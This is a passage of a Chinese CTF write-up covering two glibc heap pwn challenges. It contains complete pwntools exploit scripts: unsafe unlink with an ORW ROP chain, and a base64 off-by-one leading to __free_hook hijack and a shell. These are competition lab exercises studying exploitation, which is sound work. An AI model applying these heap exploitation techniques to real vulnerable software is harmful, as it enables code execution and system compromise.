                     p->bk_nextsize->fd_nextsize = fd;
                 }
             } else {
                 p->fd_nextsize->bk_nextsize = p->bk_nextsize;
                 p->bk_nextsize->fd_nextsize = p->fd_nextsize;
             }
         }
     }
    
  3. 此时我们构造的内存布局,刚好能使得如上判断语句为 True 并修改 chunk->fd->bk = chunk->bkchunk->bk->fd = chunk->fd,这样正好使得 BookList 中存在 BookList 中本身的地址(如下图红圈中所示). 对该地址进行写,就可以对 BookList 中的地址进行写操作

    qwb

    后续就可以直接通过 environ 查看栈地址,然后打 rop 了. 由于写入大小仅限 0x30,笔者将 rsp 修改到栈上某处后继续打 rop,后续不再赘述.

EXP

# by leeya_bug

from ast import literal_eval
from pwn import *
import time
import os
from Crypto.Cipher import AES

SLEEP_TIME = 0.2

context.os = 'linux'
#context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'

p = process('./debug/heap')
libc = ELF('/home/leeya_bug/桌面/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')

def debug(interact = True, query = ''):
	subprocess.Popen(["qterminal", "-e", f'''bash -c 'pwndbg -ex "set telescope-skip-repeating-val off" -ex "{query}" -p {p.pid}' '''])
	if interact: p.interactive()
	
def original_debug(interact = True):
	gdb.attach(p)
	if interact: p.interactive()

u64_ = lambda a: u64(a.ljust(8,b'\x00'))

# ------------- 基本配置 -------------

def add(index: int, content: bytes) -> None:
	p.sendlineafter(b'>>', b'1')
	p.sendlineafter(b'idx:', str(index).encode())
	p.sendafter(b'content:', content)

def delete(index: int) -> None:
	p.sendlineafter(b'>>', b'2')
	p.sendlineafter(b'idx:', str(index).encode())

def show(index: int) -> bytes:
	p.sendlineafter(b'>>', b'3')
	p.sendlineafter(b'idx:', str(index).encode())
	return p.recvuntil(b'Please choice your option!!!').split(b'\nPlease choice your option!!!')[0]
	
def edit(index: int, content: bytes) -> None:
	p.sendlineafter(b'>>', b'4')
	p.sendlineafter(b'idx:', str(index).encode())
	p.sendafter(b'content:', content)

# --------------

def encrypt(data: bytes) -> bytes:
    key = b'\x00' * 16
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.encrypt(data)
    
def decrypt(data: bytes) -> bytes:
    key = b'\x00' * 16
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.decrypt(data)

add(0, b'a' * 16)
data = show(0)
leak_addr = u64_(data.split(b'a' * 16)[1])
program_base = leak_addr - 0x1bf0
BookList_addr = program_base + 0x4080
print(f'program_base:     { hex(program_base) }')
print(f'BookList_addr:    { hex(program_base) }')

add(1, b'nothing')
delete(0)
delete(1)
edit(1, b'\xa0')     # modify the fd to the KEY chunk

add(2, b'nothing')
add(3, b'\x00\x00\x00\x00\x00\x00\x00\x00')    # refresh key to 0x00

add(4, b'a' * 32)
delete(4)
data = show(4)[1:]
leak_addr_1 = u64_(encrypt(data[:16])[-8:])      # the original data got decrypted in program, here you need to encrypt it at first
heap_base = leak_addr_1 - 0x10
print(f'heap_base:        { hex(heap_base) }')

# control the bin head and bin size
add(14, b'nothing')
add(15, b'nothing')
delete(14)
delete(15)
edit(15, p64(heap_base + 0xa0)[:7])
add(14, b'nothing')
add(15, b'nothing')
delete(14)

def modify_bin_addr(address: int) -> None:
	edit(15, p64(address)[:7])

modify_bin_addr(heap_base + 0x10)
add(14, b'nothing')

def modify_bin_size(size: int) -> None:
	edit(14, p32(0) + p32(size))

def modify_addr_value(addr: int, value: bytes) -> None:
	modify_bin_addr(addr)
	modify_bin_size(3)
	add(13, value)

modify_bin_size(0)

add(7, b'a' * 32)
p7_chunk = heap_base + 0x3b0

# alloc num of 0x20 chunk as padding of 0x500 unsorted bin
for i in range(0, 0x20):
	add(8, p64(0x123456))

modify_addr_value(p7_chunk + 0x8, p64(0x501))
delete(7)

data = show(7)[1:]
leak_addr = u64_(encrypt(data[:16])[-8:])
libc_base = leak_addr - 0x1ecbe0
binsh = libc_base + 0x1b45bd
print(f'libc_base:        { hex(libc_base) }')
libc.address = libc_base

modify_bin_size(0)

# unsafe unlink start --------
add(8, decrypt(b'nothings' * 2))
p8_chunk = heap_base + 0x3b0
add(9, decrypt(b'nothings' * 2))
p9_chunk = heap_base + 0x3f0
p8_pointer = BookList_addr + 0x8 * 8

edit(8, decrypt(p64(0) + p64(0x31) + p64(p8_pointer - 0x18) + p64(p8_pointer - 0x10)) )

modify_addr_value(p9_chunk, p64(0x30))
modify_addr_value(p9_chunk + 0x8, p64(0x500))

delete(9)
# unsafe unlink end --------

modify_bin_size(0)
add(5, 'a' * 32)

def modify_addr_value_pro(addr: int, value: bytes) -> None:
	edit(8, p64(addr))
	edit(5, value)

def show_addr_value(addr: int) -> bytes:
	edit(8, p64(addr))
	return encrypt(show(5)[1:][:16])

data = show_addr_value(libc.symbols['environ'])[:8]
stack_base = u64(data)
ret_addr = stack_base - 0x130
write_addr  = stack_base - 0x2000
gadget_addr = write_addr
flag_addr   = write_addr + 0x8
orm_addr    = write_addr + 0x10

print(f'stack_base:       { hex(stack_base) }')
print(f'ret_addr:         { hex(ret_addr) }')
print(f'write_addr:       { hex(write_addr) }')

buffer_addr = heap_base + 0x500

pop_rdi = libc_base + 0x23b6a
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0xdfc12

orw = b''
orw += asm('pop rsp; ret;' + 'nop;' * 6)
orw += b'./flag'.ljust(8, b'\x00')
orw += p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rsi) + p64(0x4)
orw += p64(libc.symbols['open'])
orw += p64(pop_rdi) + p64(3)		# 3 is the fd of open file
orw += p64(pop_rdi) + p64(3)		# 3 is the fd of open file
orw += p64(pop_rdi) + p64(3)		# 3 is the fd of open file
orw += p64(pop_rsi) + p64(buffer_addr)
orw += p64(pop_rdx) + p64(0xff)
orw += p64(libc.symbols['read'])
orw += p64(pop_rdi) + p64(1)		# 1: stdout
orw += p64(pop_rdi) + p64(1)		# 1: stdout
orw += p64(pop_rdi) + p64(1)		# 1: stdout
orw += p64(pop_rsi) + p64(buffer_addr)
orw += p64(pop_rdx) + p64(0xff)
orw += p64(libc.symbols['write'])

for i in range(0, len(orw), 8):
	modify_addr_value_pro(write_addr + i, orw[i: i + 8])

modify_addr_value_pro(ret_addr, decrypt(p64(gadget_addr) + p64(orm_addr)))

p.recvuntil(b'flag')
print(b'flag' + p.recv(0x50))

pwn ez_heap

这个题笔者做复杂了,在中间想着后面应该有一大段流程,就控制了 bin_head 和 bin_size,实则完全不用控制. 到后期 unsorted bin free 获取 libc 基址后,再通过简单的 tcache bin attack 即可成功修改 __free_hook,进而 getshell.

首先笔者分析一下这个题,这个题遍历了一下 Encode/Decode 增删查函数看似没有漏洞,但是其实还是有点小漏洞的. 在用户调用 Decode 增时,会自动 malloc 一个大小为 3 * len(用户输入) >> 2 的 chunk,当用户输入的数据缺失后面的 = padding,程序依然还是可以解析不过会解析为某个奇怪的字符串.

Decode("MTIzNDU2Nw==") == b"1234567\x00"
# malloc 的空间为 (12 >> 2) * 3 = 9,不造成溢出

Decode("MTIzNDU2Nw")   == b"1234567\x10\x81"
# malloc 的空间为 (10 >> 2) * 3 = 6,溢出

于是乎大概就清楚了,符号后面的 = 省略会造成溢出漏洞. 但是这溢出的一两个字节又怎么造成危害呢?
笔者发现了一个比较奇特的长度以及奇特的字符串 payload:

MTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTE
或者全零字符串如下所示
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

其 malloc 的长度为 (75 >> 2) * 3 == 0x36 借位--> 0x38,而其 decode 的数据为 0x38 * b'1' + b'\x41' == 0x39,因此就溢出了一位,而且刚好是溢出到下一个 chunk 的 size 处,如下所示:

0x55555555c290: 0x0000000000000000      0x0000000000000041
0x55555555c2a0: 0x3131313131313131      0x3131313131313131
0x55555555c2b0: 0x3131313131313131      0x3131313131313131
0x55555555c2c0: 0x3131313131313131      0x3131313131313131
0x55555555c2d0: 0x3131313131313131      0x0000000000000041 <-- 这里的 0x41 为字符串覆盖值,本来应为下一个 chunk 的 header

这样,就能完全覆盖下一个堆的 size 为 0x41.
虽然听起来很局限,但是已经足够修改掉下下个堆的 size 为任意字节,如下所示在程序开始初,先对某块内存布局如下

0x0000000000000000    0x0000000000000041  chunk_1
0x0000000000000000    0x0000000000000000
0x0000000000000000    0x0000000000000000
0x0000000000000000    0x0000000000000000
0x0000000000000000    0x0000000000000021  chunk_2
0x0000000000000000    0x0000000000000000
0x0000000000000000    0x0000000000000021  chunk_3
0x0000000000000000    0x0000000000000000

通过 Decode 修改 chunk_1 的数据为 字符串 payload,覆盖掉 chunk_2 size

0x0000000000000000    0x0000000000000041  chunk_1
0x3131313131313131    0x3131313131313131
0x3131313131313131    0x3131313131313131
0x3131313131313131    0x3131313131313131
0x3131313131313131    0x0000000000000041  chunk_2 此刻的 size 已被修改可造成 attack
0x0000000000000000    0x0000000000000000
0x0000000000000000    0x0000000000000021  chunk_3
0x0000000000000000    0x0000000000000000

此时 chunk_2 就可以任意修改 chunk_3 的 size,甚至能够读取到 free 后的 chunk_3 的 fd、tcache bin num 值.
接下来的流程就是普通通过 unsorted bin attack 获取 libc 基址,然后通过 libc 打 __free_hook getshell,笔者不再赘述.(中间笔者获取了 heap_struct_base 打 tcache_perthread_struct,实则完全没必要,直接 unsorted bin 获取 libc 打 __free_hook 就行了)

# by leeya_bug

from ast import literal_eval
from pwn import *
import time
import os
import base64

SLEEP_TIME = 0.2

context.os = 'linux'
#context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'

p = process('./debug/pwn')
libc = ELF('/home/leeya_bug/桌面/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')

def debug(interact = True, query = ''):
	subprocess.Popen(["qterminal", "-e", f'''bash -c 'pwndbg -ex "set telescope-skip-repeating-val off" -ex "{query}" -p {p.pid}' '''])
	if interact: p.interactive()
	
def original_debug(interact = True):
	gdb.attach(p)
	if interact: p.interactive()

u64_ = lambda a: u64(a.ljust(8,b'\x00'))

# ------------- 基本配置 -------------

def add_Encode(content: bytes) -> None:
	p.sendlineafter(b'Enter your choice:', b'1')
	p.sendafter(b'Enter the text to encode:', content)

def add_Decode(content: bytes) -> None:
	p.sendlineafter(b'Enter your choice:', b'2')
	p.sendafter(b'Enter the text to decode:', content)

def del_Encode(index: int) -> None:
	p.sendlineafter(b'Enter your choice:', b'3')
	p.sendlineafter(b'idx:', str(index).encode())

def del_Decode(index: int) -> None:
	p.sendlineafter(b'Enter your choice:', b'4')
	p.sendlineafter(b'idx:', str(index).encode())
	
def show_Decode(index: int) -> None:
	p.sendlineafter(b'Enter your choice:', b'6')
	p.sendlineafter(b'idx:', str(index).encode())
	p.recvuntil(b'Content: ')
	return p.recvuntil(b'Base64 Encode/Decode').split(b'Base64 Encode/Decode')[0].strip(b'\n')

# --------------

def Padding(chunk_header: int) -> str:
	return base64.b64encode((chunk_header - 0x10 + 0x05) * b'\x00')

# payload1 decode length: 0x38, data: 0x00
payload1 = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

add_Decode(Padding(0x41))  # 0
add_Decode(Padding(0x21))  # 1, the payload1 will modify chunk_1's size from 0x21 to 0x41, in order to modify the chunk_2's size
add_Decode(Padding(0x21))  # 2, the chunk_1 could modify the chunk_2's size to any value you wanna be
add_Decode(Padding(0x21))  # 3
add_Decode(Padding(0x21))  # 4

del_Decode(0)
add_Decode(payload1)       # 0

del_Decode(4)
del_Decode(3)

del_Decode(1) # 0x41
# modify the header of chunk from 0x21 to 0x31, read more data 
# and reserve a '/bin/sh' for __free_hook getshell
add_Decode(base64.b64encode(b'/bin/sh\x00' + p64(0) * 2 + p64(0x31) + p64(0) * 2 + b'\x00'))  # 1

# break the first bin and get the data
del_Decode(2) # 0x31
add_Decode(base64.b64encode(p64(0xffffffffffffffff) * 4 + b'\xff')) # 2

leak_addr     = u64_(show_Decode(2)[-6:])
heap_base     = leak_addr - 0x3ff
bin_struct    = heap_base + 0x10

# fix the first bin and redirect fd to bin_struct
del_Decode(2) # 0x31
add_Decode(base64.b64encode(p64(0) * 3 + p64(0x21) + p64(bin_struct)[:6]))  # 2

add_Decode(Padding(0x21))  # 3
# free 0, give the "modify" 0
del_Decode(0)
add_Decode(base64.b64encode(p64(0x7)))  # 0

def modify_bin_head(value: int) -> None:
	struct_data = flat({
		0x10 - 0x10:   0x7,            # bin_size
		0x90 - 0x10:   p64(value)      # bin_head
	}, filler=b'\0').ljust(0x291 - 0x10 + 0x05, b'\x00')

	del_Decode(0)
	add_Decode(base64.b64encode(struct_data))
	
def clear_bin_head() -> None:
	struct_data = flat({
		0x0:           0x0
	}, filler=b'\0').ljust(0x291 - 0x10 + 0x05, b'\x00')
	
	del_Decode(0)
	add_Decode(base64.b64encode(struct_data))

clear_bin_head()
add_Decode(Padding(0x21)) # 4 0x350
add_Encode(0x400 * b'a')  # 0 0x370
# prevent merging with top chunk
add_Decode(Padding(0x21))
del_Encode(0)

modify_bin_head(bin_struct + 0x350 - 0x10)
# modify the header of chunk from 0x21 to 0x31, read more data
add_Decode(base64.b64encode(p64(0) + p64(0x31) + p32(0))) # 4
# break the unsorted bin head, and get the data
del_Decode(4)
add_Decode(base64.b64encode(p64(0xffffffffffffffff) * 4 + b'\xff')) # 4

leak_addr     = u64_(show_Decode(4)[-6:])
libc_base     = leak_addr - 0x1ecbff
libc.address  = libc_base

modify_bin_head(libc.symbols['__free_hook'])
add_Decode(base64.b64encode(p64(libc.symbols['system']) + p64(0) + p32(0)) )
del_Decode(1)

p.interactive()

pwn qvm

(完)